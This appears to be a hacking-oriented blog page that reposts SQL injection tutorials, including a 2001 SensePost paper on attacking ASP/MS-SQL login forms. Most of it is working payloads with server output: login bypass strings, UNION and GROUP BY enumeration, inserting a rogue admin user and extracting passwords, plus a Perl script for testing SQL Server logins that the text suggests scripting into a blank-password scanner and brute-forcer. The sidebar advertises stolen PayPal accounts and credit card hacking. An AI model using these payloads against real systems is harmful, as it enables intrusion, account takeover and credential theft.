aggregate function and there is no GROUP BY clause.
/login.asp, line 16

The rest of the columns can be determined by feeding the previous column name back into the select statement together with a GROUP BY clause:

' group by users.username having 1=1 —

This returns:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.password'

is invalid in the select list because it is not contained in an
aggregate function or the GROUP BY clause.
/login.asp, line 16

The next attempt is

' group by users.username,users.password having 1=1 —

This doesn't generate an error, because the GROUP BY clause cancels out to make the effective query passed to the database select all users where the username is".

It can now be inferred that the query used by the ASP script operates only on the users table and uses the columns username and password. It would be natural to assume that both columns are of type varchar, but this can be verified by utilizing either the sum or avg functions, which are used to total an expression or calculate the average of all values in a group, respectively. Both functions can be used only with numeric fields or formulas, so passing the username

' union select sum(username) from users —

gives the error

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/login.asp, line 16

This reveals that the username column is of type varchar. To determine the data type of a numeric column (num) you would pass the column name to the sum function as before. This produces

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/login.asp, line 16

Now that the attacker has an idea of the schema used to hold user information, he can formulate a query to add his user:

'; insert into users values('bob', 's3cret') —

The table data itself can be extracted from the database using the same method used to obtain the server version
information — attempted conversion of a character string to a number:

' union select min(username) from users where username > 'a' —

This returns the first username in alphabetical order (the first username that is alphabetically greater than the letter a):

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/login.asp, line 16

All the users on the system can now be enumerated by substituting the last retrieved username for "a" in the query:

' union select min(username) from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'bob' to a column of data type int.
/login.asp, line 16

This continues until no error is generated, meaning that the query produced no result. The administrator password can be gathered:

' or 1 in (select password from users where username = 'admin') —
which returns
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'nE1410s' to a column of data type int.
/login.asp, line 16

You can find further information on SQL injection techniques in the technical whitepapers

SQL Injection/Insertion Attacks

Introduction:
This article takes a broad look at the security issues surrounding MS-SQL
and a closer look at the problems of poor input validation (& their
implications) when http forms are used to query SQL servers.

It didnt take people long to realise that with all the "functionaility"
built into MS-SQL that a compromised MS-SQL server translated almost
directly to a compromised server and served as an excellent springboard
into
internal networks. Many excellent sites like [http://www.sqlsecurity.com]
have sprung up dedicated to issues both hats can use when dealing with
SQL-Server..

This paper is more about abusing poor administration and configuration than
it is about Service Packs and Hot-Fixes.

Blank SA:
The most common problem seen on MS-SQL boxes is the default SA
password. If you have a MS-SQL server exposed to the internet with TCP/IP
connectivity enabled (default) and SA passwordless (default) you
definiately asking for (and in the opinion of most, probably deserve) to
get hacked.
The following perl snippet logs into a SQL server over TCP/IP with the
supplied username and password. It would be trivial to script this snippet
into somthing that :
a) scans for hosts with blank passwords
b) Brute Forces login attempts.

-cut-
#!/usr/bin/perl
##
## SQL username/password checker
## Parameters: senseql
##
## Eg. to check for blank SA:
## senseql 10.0.0.1 sa ""
##
## Roelof Temmingh / Haroon Meer
## roelof@sensepost.com / haroon@sensepost.com
## SensePost IT Security
## http://www.sensepost.com
## http://www.hackrack.com
## 2001/11/09

use IO::Socket;
$|=1;
if ($#ARGV<2) {die "Usage: senseql IP username password\n";}
$port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2];
$unh=pack("a30",$username);$psh=pack("a30",$pass);
$numu=pack("c",length($username)); $nump=pack("c",length($pass));
$FRONT="0200020000000200000000000000000000000000000000000000000000000000000
00000000000";
$REST="30303030303061300000000000000000000000000000000000201881b82c08030106
0a090101000000000000000000737175656c646120312e30000000000000000000000000000
000000000000b00000000000000000000000000000000000000000000000000000000000000
00";
$REST2="0000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000040200004d5344424c49420000000706000000000d110000000000000000000000000
00000000000000000000000";
$hfront=pack("H*",$FRONT);$hrest=pack("H*",$REST);$hrest2=pack("H*",$REST2)
;
$FULL=$hfront.$unh.$numu.$psh.$nump.$hrest.$nump.$psh.$hrest2;
$SENDY2="020100470000020000000000000000010000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000003030300000000300000
0";
$SENDY2 = pack("H*",$SENDY2);
print "$host:$username:$pass:";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort =>
$port) || die "No SQL here man...";
print $remote $FULL; print $remote $SENDY2;
recv($remote,$back,100,MSG_PEEK);
if ($back =~ /context to 'master'/) {print "Yep - go for it\n"}
else {print "No dude..\n";}
close ($remote);

-cut-

Lets move on.. at least to admins who have had the sense to change the
admin password.

Input Validation [Simple]:

People have been screaming about poor (non) validation of user input for as
long as i can remember so i dont even think that any of the normal excuses
apply anymore. By now.. developers should simply have learnt that "all user
input should be inherently distrusted" and therfore sanitized.
Unfortunately most of the sites you come across seem to ignore sanitization
of user inupt completely or do it selectively (often forgetting hidden
fields). So lets move on..

Okay.. in its most simple form.. the asp snippet that handles the login
works thusly..

SELECT XYZ from tblUsers WHERE User_ID='' AND
U_Password=''
IF [Stuff is Returned] {Login looks good}
ELSE {Login looks bad}

The code assumes that if a record set was built ie.. If stuff is returned,
that the user must have logged in with valid credentials. A good login
therefore would look like :

SELECT XYZ from tblUsers where User_ID='admin' AND U_Password='t0ps3kr3t'

Without user input sanitization, an attacker now has the ability to
add/inject SQL commands using the s. The user inputed
fields are enclosed by single quotation marks ' so a simple test of the
form would be to try using ' as the username. If we get back an ODBC error,
chances are that we are in the game. The next step would be to try the
following as user names:

blah' OR '1'='1 (enter the same in password field)
or even to try
blah' OR 1=1-- (password field may remain blank)

The first option effectively runs the following query:

SELECT XYZ from tblUsers WHERE User_ID='blah' OR '1'='1' AND
U_Password='blah' OR '1'='1'

Why this works is easily apparant. The quotation mark closes the open SQL
quote and the statement is then OR'd with a condition that will always test
true. ie '1'='1'. With both the username and password conditions now
testing true, a recordset is built and the application assumes a valid
login has taken place.

The second option used above makes use of the double hyphen (dash) which is
used as a comment operator. It effectively comments out the remaining bits
of the SQL statement to avoid Syntax errors etc. that could spring up with
unmatched quote marks.

Lets move on...

Input Validation [Higher Grade :>]:

In order to "protect" against this.. many sites resort to scripting on the
initial login.asp. To me, it makes very little sense to leave sanitization
to a piece of script that the end user can edit. So in most cases all that
is needed is for an attacker to save the html to his localmachine, remove
offending jscript (changing the location for the GET / POST request would
be
a good idea too) and run the form locally. Fortunately HTTP-Refferer checks
are just as easy to overcome ;)

The virtues of using stored procedures have been extolled in numerous
documents (cut down traffic / limit commands. blah.. blah) In most web
forms however, they add another (small) bit of protection.

Working on the previous example, we now look at a snippet of ASP (kind of)
but with a stored procedure included (to timestamp the login / update the
last-logged in time.. etc.). We now have :

SELECT XYZ from tblUsers WHERE User_ID='' AND
U_Password=''
* Run Stored procedure sp_loggedin
IF [Stuff is Returned] {Login looks good}
ELSE {Login looks bad}

Being the optimistic people we are... we give the old [ blah' OR '1'='1 ] a
try..

This time the server complains with:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the
keyword 'or'.
/admin/admin.asp, line 10

The server is complaining because we are attempting to use an OR in a
stored procedure. The fact that the stored procedure is not going to
play happily with conditional queries means we have to forget about
"OR"ing for a while. We get back to basics and in the username field we
enter:

sensepost'

ODBC spits back the ffg error :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
before the character string 'sensepost' AND Password=''.
/admin/admin.asp, line 13

The '80040e14' error seems to be an almost catch-all/bad characters error
message.. Whats more interesting is the line that follows it. The returned
error message has disclosed its SQL query (or part of it) and one of the
columns in the queried table.

NB: The returned error messages are the key to using this technique and we
need to pay particular attention to them. David Litchfield (@Stake) did a
lot of work with dissasembling ASP through ODBC error messages and we take
a few pages out of his book here. (Thanks David)

Armed with the column name we go back to the login page and this time use :

sensepost' group by (password)--

Note : ^^ where password == the name of the column we obtained and where
the use of -- has been previously explained. An interesting point is that
both column names and table names appear to be case insensitive (which
helps later if a little bit of brute force is needed)

The ODBC error returned this time is :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Admin.Userid' is
invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/admin/admin.asp, line 13

Time for a minor "whoot!" This time the error message has given us both the
table name 'Admin' and the name of another column 'Userid'. We could now
repeat the previous step using the newly found column name untill we have
enumerated all the columns in the target table.

The holy grail David was searching for was to totally understand the
structure of the table being queried in order to be able to inject a valid
INSERT statement that would happily add us as valid users/administrators. I
have come across numerous sites that either(depending on what the SP_ in
question does) logs you in during this process or provides you with valid
credentials on the way. As with the "OR" method you are logged on as the
1st user in the table (who almost always happens to be an Administrator)

We need to know how many columns are in this table (to ensure that we know
about all of them) so we go back to our login screen and try :

sensepost' union select userid from Admin--

..and get the ffg ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
/admin/admin.asp, line 13

The server is now complaining about our attempt to use the UNION operator
without matching the correct number of columns as the number of columns in
the Admin table. We go back to the login and try :

sensepost' union select userid,userid from Admin--

but get back the same error message. We keep adding untill the ODBC error
message stops. (In the example we are abusing above the winning login was
eventually :

sensepost' union select userid,userid,userid,userid,userid from Admin--

This time the returned error message was :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'superAdmin' to a column of data type int.
/admin/admin.asp, line 13

once more.. time for a Whoooooot!!! (notice.. more ooo's int he hoot and a
few more !!'s as well)

In complaining about an operation it tried to perform on one of our
requested "userid" columns the server has returned the value of the first
userid in the table. (superAdmin.. hmmm.. looks hopefull :)) )

At this point we have 2 options: a) to go for the quick kill, to use the
above method to extract a password from the server. b) to complete the
analysis of the table structure in order to do an INSERT. The INSERT method
makes little /no sense in the example im using and the Admin table in
question appears to have only 2 columns (userid/passwrd) I have added the
next few lines for completeness (and for the day you run into a table with
more columns of needed data)

To continue to understand the table structure the last step is just to
attempt a "compute sum" operation on selected fields. I.e we change the
login to:

sensepost' compute sum (userid)

SQL obviously complains about its inability to "sum" a non numerical field
and in the process gives us the final piece of information about the
column,
its data type:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/admin/admin.asp, line 13

Doing this on all of the enumerated columns leaves us with enough
information to eventually insert a field into the table with :

sensepost' insert into Admin(userid,password,lastlogin) values
('haroon','hi','Dec 19 2001 5:53PM')--

Which then just leaves me having to reload the form and login ...

Of course in this case, an easier alternative was to skip the INSERT and
COMPUTE steps all together. If you recall we were able to get a valid
username (superAdmin) in the error message when we tried :

sensepost' union select userid,userid,userid,userid,userid from Admin--

hmm... the logical next step would therefore be :

sensepost' union select password,password,password,password,password from
Admin--

Which returns..

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'h1dd3n' to a column of data type int.
/admin/admin.asp, line 13

Giving us valid login credentials with username "superAdmin" & password
"h1dd3n"

The number of ASP <--> MS-SQL sites vulnerable to such attacks are
shocking... considering that sanitization should have been what developers
learnt on DAY2 of E-Commerce 1-oh-1 (Changing default passwords / usernames
shld be day one) and whats even more alarming is the number of sites that
will sanitize input on text-boxes but then ignore sanitization on hidden
fields or list boxes which are a vi away from being hostile.

Conclusion:
Sanitize!! Sanitize!! Sanitize!!
Dont rely for protection on user Edit-able scripting
Assume all end-user input is hostile
Sanitize!! Sanitize!! Sanitize!!

MH / SensePost haroon@sensepost.com

After School Activities

Sunday, August 16, 2009

md5 hash online decryptor and sql bugs

Tuesday, June 23, 2009

to verify ur paypal

online hash cracker links

are looking for free shell?

are looking for free shell?

remote file inclusion sample

free verified and unferify paypal account and password

sql vulnerables

Tuesday, June 16, 2009

credit card hacking related

EuroTalk - Learn French

Monday, June 15, 2009

This the tutourial section for our guides

Friday, June 12, 2009

Databases have been the heart of a commercial website

SQL injections

SQL Injection/Insertion Attacks

Followers

Blog Archive

About Me